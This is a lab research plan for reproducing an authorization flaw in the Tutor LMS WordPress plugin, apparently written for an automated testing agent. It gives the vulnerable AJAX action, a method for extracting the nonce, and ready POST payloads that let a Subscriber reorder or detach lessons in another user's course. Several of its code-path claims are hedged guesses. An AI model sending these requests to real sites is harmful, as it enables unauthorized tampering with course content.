Tutor LMS <= 3.9.7 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Course Content Modification

This research plan outlines the technical steps to analyze and exploit the Insecure Direct Object Reference (IDOR) vulnerability in Tutor LMS (CVE-2024-3371).

1. Vulnerability Summary

The Tutor LMS plugin (<= 3.9.7) contains an IDOR vulnerability in the handling of course content ordering. The AJAX action tutor_update_course_content_order calls a private method save_course_content_order(). While some parts of the AJAX handler check permissions, the processing of the tutor_topics_lessons_sorting parameter within the save_course_content_order() method lacks any authorization or ownership verification. This allows an authenticated user with Subscriber-level permissions to modify the structure of any course by reordering or reassigning lessons between topics, regardless of who owns the course.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: tutor_update_course_content_order
• Vulnerable Parameter: tutor_topics_lessons_sorting (JSON string)
• Authentication: Authenticated (Subscriber or higher)
• Preconditions:
  1. Knowledge of target Topic IDs and Lesson IDs (can be gathered from the frontend of any course).
  2. A valid WordPress nonce for the Tutor LMS action.

3. Code Flow

1. Entry Point: The user sends a POST request to admin-ajax.php with action=tutor_update_course_content_order.
2. AJAX Registration: The action is registered (likely in classes/Course.php or classes/Ajax.php) via add_action( 'wp_ajax_tutor_update_course_content_order', ... ).
3. Handler Logic: The handler method (e.g., tutor_update_course_content_order) is executed.
4. The Vulnerable Call: The handler retrieves $_POST['tutor_topics_lessons_sorting'] and calls $this->save_course_content_order( $sorting_data ).
5. Missing Check: Inside save_course_content_order(), the code iterates through the provided JSON. It typically performs wp_update_post() or direct database updates to change the post_parent (Topic ID) or menu_order of Lesson IDs. Crucially, it fails to verify if the current user has the edit_post capability for the Course ID associated with those lessons/topics.

4. Nonce Acquisition Strategy

Tutor LMS typically localizes its configuration and nonces for use in the frontend dashboard and course builder.

1. Identify Trigger: The course builder and dashboard scripts are the primary sources.
2. Create Test Page: To ensure the scripts are loaded for a Subscriber, create a page with the Tutor LMS dashboard shortcode.

   wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[tutor_dashboard]'
   

3. Extract Nonce:
   • Navigate to the newly created /dashboard page as a Subscriber.
   • Use browser_eval to extract the nonce from the tutor_get_conf global variable (standard in Tutor LMS).
   • JavaScript: window.tutor_get_conf?.nonce or window.tutor_get_conf?.tutor_nonce.

5. Test Data Setup

Before exploitation, setup the "Victim" environment:

1. Victim Course: As an Admin, create a course.
   • Create a Topic (Post Type: topics, Title: "Admin Topic A"). Note ID (e.g., 101).
   • Create a Lesson (Post Type: lesson, Title: "Secret Lesson"). Note ID (e.g., 201).
   • Assign "Secret Lesson" to "Admin Topic A".
2. Victim Target Topic: Create a second Topic in the same course (or even a different course). Note ID (e.g., 102).
3. Attacker User: Create a user with the Subscriber role.

6. Exploitation Strategy

The goal is to move the Admin's "Secret Lesson" (ID 201) from its original Topic (ID 101) to a different Topic (ID 102) using the Subscriber account.

Request Details:

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=tutor_update_course_content_order
  &_tutor_nonce=<EXTRACTED_NONCE>
  &tutor_topics_lessons_sorting=[{"topic_id":102,"lesson_ids":["201"]}]
  

Note: The tutor_topics_lessons_sorting parameter expects a JSON string representing an array of objects, where each object contains a topic_id and an array of lesson_ids to be nested under it.

7. Expected Results

• Response: The server should return a JSON success message (e.g., {"success":true,...}).
• Effect: The "Secret Lesson" (ID 201) will have its post_parent updated to 102 in the database.

8. Verification Steps

After the http_request, verify the modification via WP-CLI:

# Check the parent of the lesson
wp post get 201 --field=post_parent

Verification Criterion: If the command returns 102 (the target topic) instead of 101 (the original topic), and the request was made by a Subscriber, the IDOR is confirmed.

9. Alternative Approaches

If the tutor_topics_lessons_sorting parameter does not trigger the change, attempt to use the content_parent branch of the same AJAX handler, though the description suggests this branch does have a check (can_user_manage()).

Backup Payload (Detaching content):
If re-parenting fails, try to "detach" the lesson by sending an empty lesson list for the original topic:

tutor_topics_lessons_sorting=[{"topic_id":101,"lesson_ids":[]}]

This tests if the code removes the parent relationship when a lesson is omitted from its current topic's list.